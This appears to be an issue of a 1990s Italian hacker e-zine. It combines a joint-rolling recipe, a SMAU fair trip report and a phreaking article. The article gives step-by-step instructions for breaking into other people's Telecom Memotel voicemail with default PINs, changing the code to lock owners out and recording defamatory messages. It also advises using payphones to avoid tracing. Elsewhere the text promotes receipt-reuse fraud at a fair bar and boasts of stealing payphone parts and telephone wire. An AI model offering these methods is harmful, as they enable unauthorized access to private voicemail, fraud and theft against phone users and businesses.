pswd (invio) ./ acca e poi tab Blinking: "cerchi le connessioni con O stat" ecc. ecc Blinking ad Harlok: "smettila di scrivere cazzate" ...breve pausa di trasferimento tra casa di blinking e la casa di una amica di harlok in cui ne succederanno delle belle...a proposito, blinking se ne e' annato a dormire ed io e harlok giriamo sempre di piu' come zombi...by N0bodY88... ...e ora ci sono io Harlok...dato che nobo e' delirante sul pavimento... Saranno piu'o meno le 4.58 (cosi' mi dicono ma io non ci credo). Ci siamo fumati un paio di.... e un "baffo" (su ideazione di nobo....), ehi aspetta un momento: non sapete cosa un baffo?!?!??! AlT! Dovete innanzitutto preparare un filtro piuttosto lungo e preparare due cartine con tutto l'occorrente necessario.......... Dopo di che si chiudono le due canne una da una parte, una dall'altra in modo da avere una sola canna lunga. Ah, dimenticavo..... dovete fare un buchetto al centro del mega filtro in modo che possiate tirare. Accendetele tutte e due e.... BOooM ! Vi sentirete una calda nube di fumo, piacevole e delicata che invader i vostri polmoni e vi colmera' di piacere.... Ah, che bello! Mi sembra di essere un dio come quando si guadagna l'accesso di root! Se per caso vi entra fumo negli occhi.... bh! chiudeteli! Se iniziate a scottarvi o avete paura di bruciarvi la barbetta... fabbricate un altro filtrino ed inseritelo nel buchino del vosro megapalo (tiratevela pure) /------------------\-------------------/-----------------.\ ( 1 | <> | 2 ) \.-----------------/-------------------\-----------------./ /\ \_____ buchino per tirare 1. primo cannone 2. secondo cannone _ | | | | secondo filtrino |_| HarLoK (a me sembra piu' che altro un assorbente interno...) N0bodY88 (che firma dopo la terza notte passata senza dormire...) Blinking (che la sua firma la mette nobo xche' blinking non e' qui...) PS: allora l'art e' finito o meglio so che non ci capirete molto ma cmq e' stato bello trovarsi tra amici e smanettare un pokino quindi raga se organizzate qualke meeting fatecelo sapere che ne daremo notizia agli amici newbies, phreaker, cracker e hacker che riusciremo a contattare e convincere :) _____ __ ___ ___ __ __ __ __ / ___/ / |/ // | / / / / / // / \__ \ / /|_/ // /| | / / / / / // /_ ___/ // / / // ___ |/ /_/ / /__ __/ /____//_/ /_//_/ |_|\____/ /_/ ____ _ __ _____ ___ _ __ ______ _____ / _// | / // ___/ / | / | / // ____// ___/ / / / |/ / \__ \ / /| | / |/ // __/ \__ \ _/ / / /| / ___/ // ___ | / /| // /___ ___/ / /___//_/ |_/ /____//_/ |_|/_/ |_//_____/ /____/ - www.cazzatearuotalibera._p0nic0_.gov ;PPP - =-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*= { dATE: 20/10/3999 } { vIVERI: due panini al prosciutto belli ripieni e una lattina di birra ;DD } { cOLONNA SONORA: 'Comunque vada sara' un successo' - Er Piotta } { aUTORI: _p0nic0_ & wInDmILL } =-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*= ===[ pARTENZA ]================================================================== PARTE -> (aRRIVA a bO) -> (aTTESA a bO) -> t. tOTALE -> aRRIVA a mI -> tIPO tRENO 4.33 --> 6.05 ----------> 22m -----------> 4.22h -----> 8.55 --------> rEG/iNTrEG ================================================================================= =-=[ fUCK ]-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ...fAncUlo aLla sCuOla e a qUeI cAzZo dI pRof. cHe mI rItRoVo... ...fAnCuLo alLa tEleCoZzA...pErcHe'?!?!?!?!?!... ... =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ dEDICHE ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ...tUTTI gLI aMICI dI #hACKERNOW, #aLBY00, #cACCA, #cYBERNET... ...N0bodY88 e coolzs per aver creato newbies, siete grandi!!! :DD... ... =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-* :*****PpPpPpP [ uNA dEDICA sPECIALE vA a: ] :****PpPpPpP :*****PpPpPpP :*****P ...alla mia OnyxGirl... ...non ci sono parole per esprimere quanto bene ti voglio... ...anche divisi, uniti per sempre :... ... :*****PpPpPpP :*****PpPpPpP :*****PpPpPpP :*****PpPpPpP :*****PpPpPpP :*****Pp =-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-* =.=[ cOME sI rAGGIUNGE lO sMAU aRRIVANDO iN tRENO?? ].=.=.=.=.=.=.=.=.=.=.=.=. La stazione ferroviaria e' collegata con la metropolitana (per Smau linea M1 direzione Molino Dorino fermate Amendola Fiera - Lotto Fiera. Dalla ferrovia Nord (stazione Bullona) lo Smau e' raggiungibile a piedi =)) =.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=. !.![ pARTE 1 (oVVERO) lA pARTENZA ].!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!. pARTECIPANTS: _p0nic0_ @ wInDmILL cONTENTS: ore 4.10 { ci dirigiamo verso la stazione di ******* (evvabbe', volete anche che vi dica dove abito?? ;DD)... e' chiusa :((.... sigh sigh... e ora cosa si fa??? Intorno a noi una schiera di barboni dormienti...ihihih... guarda quello sta facendo ginnastica... Cazzo non c'abbiamo manco i biglietti e stiamo qui a vedere quei simpaticoni fare ginnastica???... Per fortuna vediamo sbucare da dietro un'angolino un ometto su un trattorino elettrico che annuncia l'apertura della station... iuppy!!! Corri corri che il treno sta per partire... Smau stiamo arrivando...!!!!!!!!!! } !.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!. !.![ pARTE 2 (oVVERO) aRRIVO a mILANO ].!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!. pARTECIPANTS: _p0nic0_ @ wInDmILL @ Dark-Elf @ A-SyNcHr0 @ Sharra14 @ Adryana cONTENTS: ore 8.55 { io e wInDmILL giungiamo alla stazione di Milano Centrale ... maiala che casino... fortuna che ci vengono a prendere... baci e abbracci davanti al binario 12 e subito via verso l'uscita. } !.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!. !.![ pARTE 3 (oVVERO) sMAU - l'eNTRATA ]!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!. pARTECIPANTS: _p0nic0_ @ wInDmILL @ Dark-Elf @ A-SyNcHr0 @ Sharra14 @ Adryana cONTENTS: ore 9.30ca { usciamo fuori dalla stazione metropolitana... dopo 5 ore passate in treno mentre fuori e' ancora tutto avvolto dalle tenebre ci sembra di tornare a vivere... i nostri occhi si riabituano velocemente alla luce e ci accorgiamo di essere finiti al mercato centrale di Napoli... centinaia di persone che si affrettano a raggiungere l'entrata della fiera... depliant ('Vola a scuola con TIN it'...mamma mia...), volantini e cartacce dappertutto. Ed eccoci davanti all'entrata... code di una 20ina di metri ci aspettano... figuratevi se noi stiamo li' a fare la coda...sgattaiolamo silenziosamente fino al baracchino dei biglietti in circa 30sec (ihihih) , consegnamo i biglietti di ingresso ('non penserete mica che li abbia pagati quei biglietti, vero????') e ci avventuriamo in questa meravigliosa giungla chiamata Smau. } !.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!. !.![ pARTE 4 (oVVERO) sMAU - lA cREW (qUASI) aL cOMPLETO ]!.!.!.!.!.!.!.!.!.!. pARTECIPANTS: _p0nic0_ @ wInDmILL @ Dark-Elf @ DeViLnEt @ A-SyNcHr0 @ guf0z @ Rubrik0 @ Sharra14 @ Adryana @ DragonMan @ Steal @ DeViLNeT @ CrackBoy @ NEOgmc @ Tia & boyfrind @ ATZero @ En|gMa @ DKK @ siamo tutti? cONTENTS: ore 12ca { tralasciando chi prima chi poi, ci siamo ritrovati al bar davanti al megaschermo PannaSonica (e' un brutto ricordo...vero rega'?) e iniziamo a magna'...ma qua' scatta l'operazione hACKING sMAU bARs. In pratica funzica cosi': | mATERIALE: un po' di money...giusto quanto basta per comprare un panino, una lattina da bere e un gelato... | oBIETTIVO: pAGA 1 mAGNA 15 ;DDD | sVOLGIMENTO: il tutto e' molto semplice... consiste solo nel comprare suddetto panino, qlc da bere e un gelato (le varianti sono molte pero'...) | aLL'oPERA: andate dentro il bar dove troverete una marea di gente accavallata l'una sull'altra... fate lo scontrino e quando andate a prendere la roba da mangiare badate bene di far vedere solamente lo scontrino, senza darlo alle commesse che altrimenti ve lo strapperanno e diventera' inutilizzabile...vi assicuriamo che non e' difficile... provare per credere! Ora che siete usciti con la vostra roba, date lo scontrino al vostro amico che lo riutilizzera', e poi lo ridara' e verra' riutilizzato e riutilizzato per decine di volte ....uazuaz....potete provare anche se ve lo hanno strappato, tanto che vi frega??? ...ihihihi... fatelo rega'... ihihihihihi | eOF: con questo sistemino vi assicuriamo una perfetta resa col pancino pieno...non e' cio' che volevate???? bhe', se quest'anno avete speso 6.000e' a panino per mangiare in quel cazzo di posto siete stai dei bei polli... cmq speriamo che vi sia servita di lezione... W gli scontriniii!!! :PPPP ebbene si... } !.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!. =-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-* sCoOp sEnsAtIonAlE: iL gUf0 c?hA 39 aNn! !!!!!!!!!! ;DDDDDDD =-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-*=-* !.![ pARTE 5 (oVVERO) sMAU - aROUND SMAU ]!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!. bello, proprio bello questo posto...porterei via tutto...comprese le commesse dello stand MicroShit ;DDD Cazzo, guarda quello...c'ha il collegamento coi satellite...porko ***... 90kb al secondo... e io che giro col mio 33.6!!!!! :\\\ Serverini IBM, 'nuovi prodotti MicroSuck', collegamenti via satellite... che favola... ma vabbeh tanto c'eravate anche voi...quindi passiamo ai fatti piu' divertenti hihih....far impazzire la commesse della telecozza hihihi e' stata una bella cosa... ringrazio DeViLnEt per aver portato quel programmx che ha fatto diventare pazze le fichettine del team telestronza... ah raga', vogliamo le fotoooo!!!! Cmq e' stato bello anche il 'colpo' di Rubrik0....ehehe chi c'era, sa... uazuazuaz....mentre Dev e gli altri erano allo stand Tele*** Rubrik0 quatto quatto stava portandosi via il suo trofeo ihihihihihih....evvabbe' via basta.. finiamola qui... !.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!. !.![ pARTE 6 | sALUTI E rINGRAZIAMENTI ]!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!.!. Voglio salutare e ringraziare NobodY88, Harlok e Blinking che ho conosciuto per la prima volta li allo Smau, tutti i presenti per essere venuti e tutti quelli che sarebbero voluti venire con noi ma non hanno potuto :( Inoltre mando un salutone a Aly, dai^uffa e Crazyk0w, gli amici di sempre. Saluto infine wInDmILL che e' tutt'ora qua insieme a me e mi ha aiutato nella stesura di 'sta stronzata! Thx Ci vediamo raga', alla prox.:.:.:.:.:.:.: Un bacione enorme al mio amorino....la piccola OnyxGirl :**********PpPpPpPpPpP !.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!.?.!. r4G4', |\|0|\| pR3nD3t3V3l4 tR0pP0 s3 sT0 tXt f4 c4c4r3... l'h0 sC1tT0 iN p0Ch15S1m0 t3Mp0 3 p4r3cCh10 d0pO eS53R3 5t4t0 4Ll0 sM4U; s3 l'h0 5cR1tT0 n0N 51gNiF1c4 m1C4 cH3 aV3v0 d4 d1Rv1 qLC d4 d1rV1..n0?!?!?!?!?!?!?!?! Non so proprio piu' che raccontarvi...lo Smau di quest'anno e' stata proprio una bella cosa... ci siamo divertiti e siamo stati una giornata insieme... nun vi sembra una bella cosa???? Chiedo scusa ai lettori per il contenuto scarso livello tecnico di questo 'coso' ma d'altronde ikke dovevo scrive?????? Vi saluto tutti, oh adepti...a presto Il vostro _p0zz0_ (alias _p0nic0_) with lA coLlAboRaZione Di wInDmILL ;D cya gente ۰۰۰۰۰۰۰۰۰۰۰۰ ۲۰۰۰۲۰۰۲۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ***************************************************************************** |\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\| **********************Phreaking, Segreterie e Cazzate varie****************** |\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\| ***************************************************************************** DISCLAIMAH: l'autore e il co-autore non si assumono una cazzo di responsabilit sul cazzo di uso che potete fare di queste cazzo di infoz. Buon proseguimento AUTORE: mR_bIs0n CO-AUTORE: Mr_Skull CONSUMO: cioccolata fornita dalla Mr_Skull's & Co. mR_bIs0n: sciuizzero? Mr_Skull: si, perch? mR_bIs0n: ah, vabb... CASA: dipende dal momento TEMPO: piovoso su gran parte della puglia, con forti temporali sulla testa dei due... CANE: quello di Skull (Whisky) MUSICA: un pacco di Marilyn Manson, Supergrass, The Cardigans ecc... nonch il cd di Giorgio Gentile e il suo Manager, SBORRAGEL SALUTI: quel bravo ragazzo che pankrazio, la mamma, pap e tutti gli zii, gli amiketti di skuola, Peppo Ficone, gli amici di #sbornia e gli amici di #hackernow, la prof.ssa Bolognino (quindi). FUCKS TO: quel "simpatikokainomane" di Amicus, prof. Pietro Stano, il Timone (immancabile), gli omini Telecom (tipo quello della barzelletta), Danilo Bumba, Luigi Pecoraro, il preside Basile e tutta la nostra skuola e tante belle kose... BARZELLETTA: Pierpaolo: Senta, ci pu installare il kit ISDN??? Omino Telekon n. P25F425: Certo, certo, comunico alla base... (si mette a fare strani fiski) Pierpaolo: si, ma a noi servirebbe una linea da 128kbps perch noi dovremmo spedire ai nostri clienti parecchie immagini da alcune decine di megabytes... P25F425: impossibile, qui non si tratta pi di frequenza, sono i digitali... (prende un foglietto di carta e una penna, e fa delle onde) (il ritmo delle sue onde cerebrali!ndMr_Skull) (poi inizia a scrivere: 010010110101) Pierpaolo: si, ma io so che accoppiando i due canali ISDN si pu arrivare a 128 kbps... P25F425: ma 64 sono gi molti... ho visto io stesso come scaricavano e mandavano gli ordini nelle farmacie... (AHAHAH! (Risate in scatola tipo sit-com americana)) Pierpaolo: mi dispiace ma lei non qualificato. E poi le immagini con cui io lavoro sono molto pi grandi di quattro ordini... P25F425: ... ma gli ordini andavano veloci!!! Pierpaolo: Alessandro, andiamocene all'ufficio... Pap, accordati tu con questo scemo... _.-^-._.-^-._.-^-._.-^-._.-^-.->Indice<-.-^-._.-^-._.-^-._.-^-._.-^-._.-^-. 1) Introduzione 2) Green phreak on a leash 3) La favoletta di MotorJovy e mR_bIs0n 4) Come si usa e abusa di una segreteria Memotel 5) Due parole sulla pericolosit dei green 6) Come si diventa phreaker o quasi... 7) Consigli vari e forse utili 8) Saluti vari _.-^-._.-^-._.-^-._.-^-._.-^-.->Introduzione<-.-^-._.-^-._.-^-._.-^-._.-^-. Eccoci qua, dopo aver sorbito 30 minuti di televendite piene di asma e di piega flash che poi vi regalano a sole 99 karte 1 pc multimediale ibm compatibile che verr installato solo per le prime 50 chiamate non da un rivenditore, non da un tekniko, bens da Fiorello (con gli adesivi della Infostrada) che parler per ore e ore con la famosa Loredana al telefono chiedendo cosa se ne deve fare del cd per l'abbonamento Libero (glielo dico io cosa se ne deve fare, di quel cd... DOVREBBE FICCARSELO NEL CULO!!!! NON VEDO CHE USO MIGLIORE POSSA FARNE UN DEVIATO MENTALE COME LUI!!!!ndMr_Skull), siamo qui a parlarvi di kuello ke ci passa per la testa. Ricordiamo che il programma sottotitolato a pagina 666 del SatanVideo. BUONA VISIONE, BWAZWAZWAZWAZWAZWAZWAREZWAZ _.-^-._.-^-._.-^-._.-^->Green phreak on a leash<-.-^-._.-^-._.-^-._.-^-._.- Mr_Skull: Vi siete mai kiesti perch durante quest'estate chiamando all'167810000 vi rispondeva un mentecatto che blaterava qualcosa in strettissimo dialetto manduriano?? Bene, risponderemo al vostro kuesito... il mentekatto era il bIs0n... mR_bIs0n: eh si, modestamente, un pomeriggio d'estate mi dedicai a provare vari numeri verdi dallo startak di mia cuGGina... ad un certo punto sento una vocina (era la mignottella telekozzz) che diceva: "Telekom Italia, informazione gratuita"-cambio di voce-"La chiamata sta per essere inoltrata su kordless fido" Mr_Skull: come? Un cane sguinzagliato che risponde al telefono??? E si chiama Fido? Ma ki , quello della infostrada??? mR_bIs0n: ARGHHHH!!! Non dire quel nome, altrimenti mi viene in mente Fiorello che non so cosa se ne faccia dell'abbonamento ad internet... Comunque, aspettai per un po' dopodicch senti una vocina che disse... Mr_Skull: ...ti faccio un bocchino per soli 50 scatti! mR_bIs0n: no, lo speravo anch'io, ma purtroppo era la vocina della Memotel Mr_Skull: chi Memotel? mR_bIs0n: una mia amica.... Mr_Skull: bbona? mR_bIs0n: si, poi te la presento... ke rimba... Mr_Skull: :;=(| (assume quest'espressione) mR_bIs0n: comunque, reduce dalla Meridian Northern Telekom premetti subito # (cancelletto), o meglio dire # (diesis) e la vocina disse: "Inserire codice d'identificazione personale, e premere # (fate vobis)". Allora inserii 0000 ma non and bene... Mr_Skull (con vocina da castrato): "Ritenta, sarai pi fortunato" mR_bIs0n: non proprio, ma ritentai con 1234... And bene perch il deviato mentale che si okkupava della segreteria Mr_Skull: il root! mR_bIs0n (faccia da 'Matonna'): pi o meno... Comunque, il mentecatto in questione aveva lasciato il codice di default Mr_Skull: si legge "defohlt!" mR_bIs0n: in conclusione, seguendo i "men" della segreteria mi impRadronii di quest'ultima... Mr_Skull: io prendo un kanguro arrosto e una bottiglia di grog fatto in casa mR_bIs0n: anch'io se paga Mr_Skull... ehm... credo che ci siano altri di questi numeri verdognoli che aspettano solo di essere scoperti. Vi consiglio di provare da i telefonini delle cugine o dalle cabine della villa (giardini publici) della propria citt. Mr_Skull: MA COSA VOLETE DALLA GARELLI, LA SBORRA? _.-^-._.-^-._.-^-._.->La favoletta di MotorJovy e mR_bIs0n<-^-._.-^-._.-^-. C'era una volta, tanto tempo fa, ma cos tanto (ieri), un fanciulletto dal soave nome di mR_bIs0n, con le gote rosse e i capelli d'oro che viveva da solo con sua madre, suo padre, suo fratello e gli inquilini della porta accanto (solo!ndMr_Skull). Un bel d la madre gli disse: -Cappuccetto Baison!!! -Mamma, scritto male! -Ah, si scusa tesoro... senti, vai perfavore a portare questo cestino di Kalashmikov (si scrive cos?) alla nonnina, che la notte scorsa ha bevuto troppo e ora le gira la testa... -Un minuto ma' -Muovi immediatamente quelle fottute chiappe da quel cazzo di sedia o prendo la scopa -Quella elettrica? -Obbedisci! E stasera a letto senza cena -Meglio (nel comodino ci tanto di quella roba: sukki di frutta, nutella...)! -E mi raccomando, non passare per la villa che c' il lupo cattivo e soprattutto ci sono le squadracce Telekom! -Ok ma! Ma il nostro mR_bIs0n voleva passare per la villa a sputare i vecchietti sulle panchine. Nel mezzo del cammin di nostra vita, per, sent un rumore assordante... era il MotorJovy con il suo scooter supertruccato... MJ-TS MotorJovy TrucchescionScuter - Messa a punto parti: MBK-Nitro * Marmitta Polini "Evoluzione" con silenziatore con bordini neri indelebili * Carter da corsa "Top Performance" con bordini neri indelebili * Cinghia da corsa super-resistente con bordini neri indelebili * Asportazione del classico cavalletto per maggiore stabilit e tenuta in curva (in realt dava fastidio al silenziatore della marmitta) * Cavalletto tipo "125" con bordini neri indelebili * Carenatura nuova di zecca con bordini neri indelebili * Centralina per la regolazione della candela con bordini neri indelebili * Super adesivato con bordini neri indelebili ( tutto professionaaaaaleeeee!ndPastore)(SBONK!ndBovas) -mR_bIs0n: MotorJovy! Cosa ci fai qui!? -MotorJovy: Mah! -mR_bIs0n: io sto andando dalla mia dolce n1onn... -MotorJovy: guarda! Quella cabina aperta -mR_bIs0n: diuao! Andiamo a vedere!!! I due si avvicinano alla cabina -MotorJovy: smontiamola!! -mR_bIs0n: aiutami... hai un cacciavite? -MotorJovy: Un coltello... vabbene ugualmente? asp che lo prendo... (Traffica nelle mutande) -MotorJovy: eccolo -mR_bIs0n: cavolo, piccolo... ma mi accontento comunque... ne hai anche uno a croce??? -MotorJovy: asp che vedo... (Altro traffico) -MotorJovy: eccolo! -mR_bIs0n: smonta il tastierino che io penso al rotor... -MotorJovy: a che??? -mR_bIs0n: fai, fai... I due si mettono a praticare... Sul display della cabina appare dapprima "FS" e poi scompare... -Cabina: Beep beep beep beep beep -MotorJovy: che cazzo ??? -mR_bIs0n: cavolo!!! sta segnalando manomissione alla centralina!!! Sbrighiamoci!!!! Finito di smontare il rotor, il nostro eroe e il suo amico vanno verso lo scooter -MotorJovy: Asp che metto il tastierino sotto il sellone... Dammi che metto il rotore... mo'... il coso! -mR_bIs0n: Ok tieni, ma sbrigati! -MotorJovy: Cavolo! Non entra!!!! Misterba', prendilo in mano e sali dietro lo scooter con me... -mR_bIs0n: OKkazz0... BROOOOOOOOOOOOOOUUUUUUUUUUUUUUUNUUUUUUUUOOOOOOOOOGROAHNNNNNN I due si lanciano in una folle corsa per le strade di Manduria con il rotor ben in vista... Arrivano a casa di MotorJovy sani e salvi, lasciano la refurtiva nel garage. E, come si dice in questi casi, vissero per sempre felici e contenti... THE END Casa mR_bIs0n Telefono: Driiiiiing mR_bIs0n's Mum: Pronto, chi parla??? mR_bIs0n's Grandmother: Angelaaaa, il Baison non mi ha portato il cestino di Kalashmikov!!! mR_bIs0n: nonna, non scritto bene! mR_bIs0n's Grandmother: ah, scusa... Mr_Skull: vabb, tutto andato per il meglio, per ricordate: MADRE GODURIA SEMPRE IN CULO A LORO!!! mR_bIs0n: Sei sempre il migliore a sparare cavolate... _.-^-._.-^-._.-^-.->Come si usa e abusa di una segreteria Memotel<-.-^-._.-^-. Artikolo scritto interamente e solamente da mR_bIs0n con l'approvazione di Mr_Skull Memotel? Un po'di anni fa alla telekaxx, gli venne in mente la brillante idea di creare una segreteria "CON LA SEGRETERIA GIA' DENTRO AL TELEFONO!!!" (cos sponsorizzavano la novit sulle skede telefonike...). Bene, in poke parole per averla bisogna chiederla direttamente alla telekaxx e vi verr attivato il servizio, infatti non una segreteria fisica con cassetta ect... Se ne avete scoperta una, o su numero verde, o su di un normale numero, bene... Cosa dobbiamo fare? Per prima cosa, quando parte la voce registrata, voi premete "#", vi verr chiesto un codice ke di solito "1234"... se non cos, allora provate numeri come "5555" o "9876" o roba simile... la gente molto stupida... quando avete finito di digitare dovete premere di nuovo "#". E una volta entrati? Bene se avete azzeccato il codice una voce registrata vi informer se sono presenti nuovi messaggi o precedentemente ascoltati... il men vi si presenter in questo modo: Tasto Azioni e scelte varie -1- Per ascoltare i messaggi: -7- per cancellare il messaggio ascoltato -9- per archiviare il messaggio ascoltato che verr rimosso solo dopo 15 giorni dall'archiviazione -2- Per accedere al men opzioni: -1- per cambiare il codice di identificazione personale bisogna immettere il nuovo codice e poi ripeterlo per conferma -2- per scegliere i messaggi di presentazione -1- per i messagi pre-registrati -2- per registrare il messagio di presentazione che avverte che il numero chiamato occupato -3- per registrare il messagio di presentazione che avverte che il proprietario del numero chiamato non pu rispondere -4- per registrare il messagio di presentazione che avverte che il proprietario del numero non al momento raggiunguibile -3- Per uscire dalla segreteria. -*- Per uscire da qualsiasi men in cui vi trovate. Cosa ci consigli di fare? Bene, per prima cosa chiamate sempre da una cabina (io lo faccio nel 50% dei casi, molto pi comodo chiamare dal salotto di casa ma molto pi rishioso... io amo il pericolo...), cambiate per prima cosa il codice di identificazione (usatene uno molto difficile e cambiatelo spesso), lasciate dei vostri messaggi registrati, magari sputtandando qualcuno (io l'ho fatto!!! EHEHHUHUHIHIH), registrando con degli amici, oppure vantandovi di aver fottuto la segreteria e mandando al diavolo chi chiama... Bene, mR_bIs0n, ora non ci servi pi, ti abbiamo solo usato... Bob (c' sempre un Bob) fallo fuori... EHEHE ke cavolicchio vuoi fare con una Condor (per gli eretici, pistola giocattolo ad aria compressa con proiettili di 9mm, che di solito fanno male ma non provocano la morte...)... UAHAHUAHAH (risata ke peggiora l'insulto)... spara spara spara demente... Scar scar Can you feel my power? Shot here and the world gets smaller! Scar scar Can you feel my power? One shot and the world gets smaller! Scar scar Can you feel my power? Shot here and the world gets smaller! Shot Shot Shot MotherFucker! Shot Shot Shot MotherFucker! Shot Shot Shot MotherFucker! Grabbato dalla canzone "Reflective God" dell'album "Antichrist SuperStar" di Marilyn Manson (anno 1996) mR_bIs0n _.-^-._.-^-._.-^-._.->Due parole sulla pericolosit dei green<-^-._.-^-._.-^-. Artikolo scritto interamente e solamente da mR_bIs0n con l'approvazione di Mr_Skull Ci sono tante persone (parekki finti phreaker) ke si buffoneggiano dicendo: "Uhuh... greenz, ahah ci si fa male con le proprie mani..." Ecco! Cafoni del genere pensano ke i green siano solo i numeretti magici della CIS ke permettono di navigare gratis... coglioni... nemmeno io userei un green illegale... i green sono soprattutto dei numeri gratis (effettuabili anke da cabine senza monete o skede) ke permettono di fare tante kose sfiziose a danno della Telekaxx o ad altre societ private... tutto ci, se fatto da una pubblica cabina telefonica sicurissimo... io da un sacco di tempo provo tanti green e non mi successo mai nulla... Mettiamo ke la centrale telekozz della tua citt si accorga ke qualkuno stia facendo delle kiamate a numeri verdi non consentiti e ke mandi una squadra di Omini TeleGum ke ti vedono lavorare nella cabina... cosa vuoi ke facciano? Ti ammanettano? TI torturano? Ti uccidono? Niente, non possono farti un bel niente!!! Non possono sapere con certezza se sei tu il mascalzone, se stai facendo qualke prova sui green, o se stai facendo una normale kiamata... e se ti prendono (cosa altamente improbabile) puoi smentire comunque subito: -Possibilit 1- Omino Telekazz: Cosa stavi facendo nella cabina??? TU: Io? Io? Io sono appena arrivato! Stavo per kiamare a mamm! Ed ho aspettato ke se ne andasse l'okkupante di prima... -Possibilit 2- Omino Telekazz: Cosa stavi facendo nella cabina??? TU: Ke cavolo ti interessa? Sono fatti miei! Omino Telekazz: Tu stavi facendo dei numeri verdi non consentiti... TU: Ah? Kosa sono? Io stavo solo scrivendo a kazzo dei numeri! Omino Telekazz: Bene non farlo pi! TU: (alzando il dito medio) FOTTITI! -Possibilit 3- Omino Telekazz: Cosa stavi facendo nella cabina??? TU: Niente di particolare, stavo solo utilizzando un numero verde per kiamare in America senza spendere un soldo... perk a te kosa interessa? Se vuoi te lo insegno... (Vi sconsiglio di usare questa scusa...) Quindi non vi preokkupate se state provando dei green... non vi cagate addosso... io un giorno stavo controllando i messaggi di una segreteria su green, e affianko all'altra cabina c'era un Omino ke stava riparando una cornetta... gi ke stavo gli ho fottuto un po'di filo telefoniko dalla cassettina ke aveva... EHEHEHEHEHEH!!! Cmq vi devo dire di stare alla larga di certe persone ke blaterano: "EIIII! Andiamo alla cabina ke adesso devo kiamare in America con un numero verde..." Al massimo pikkiatelo! mR_bIs0n _.-^-._.-^-._.-^-._.-^-.->Come si deventa phreaker o quasi<-.-^-._.-^-._.-^-._ Artikolo scritto interamente e solamente da mR_bIs0n con l'approvazione di Mr_Skull Questo art non uno quei soliti art dei grandi hacker, ke sputtanando i lamer, spiegando chi un hacker... ma bens spiego come fare per essere o diventare, non dico un phreaker (altrimenti kissa quanta critika) ma uno ke si diverte tanto ai telefoni! Bene, in Italia se non fai brute forcing, usi per forza green... boxare impossibile ed anke volendo, difficile... Bene i green sono semplici e divertenti, e almeno a me non fanno paura, e chiunque pu dilettarsi... bastano una cabina e un interessato che abbia almeno un dito utilizzabile... Io almeno ho iniziato cos, mi diverto tutt'ora e ora non mi definisco un phreaker (sempre per la critika... e allora, cara critika, dimmelo tu ki kazzo sono! Ah, dimmelo ki sono, un bastardo ke apre kabine, prova green e si diverte... allora dimmelo, siccome phreaker non sono, kosa kazzo sono! * Scusate per lo sfogo!*), e ho una buona conoscenza di ci ke si pu fare con i sistemi telefonici (sbaglio o questo phreaking?). Bene, io avevo appena 14 anni quando ho iniziato, ero un ragazzino curioso, e quando uscivo la sera con gli amici provavo, cos per giocare, dei numeri verdi tipo: 16756565 o 167454545, e pian piano scoprivo nuove cose, ne parlavo su IRC con gli amici... ankora faccio allo stesso modo, e soprattutto mi diverto e con me anke i miei amici (ke risate quando registravamo messaggi di benvenuto con i miei amici ad una segreteria su green...). Quindi, ki davvero intenzionato a diventare phreaker non si spaventi quando una signorina al telefono dice: "Inserire codice prego" e riattakki, ma provasse "1234" oopure "0000" e sentire cosa risponde! mR_bIs0n _.-^-._.-^-._.-^-._.-^-.->Consigli vari e forse utilie<-.-^-._.-^-._.-^-._.-^- Vorrei consigliarvi qualkosa da fare 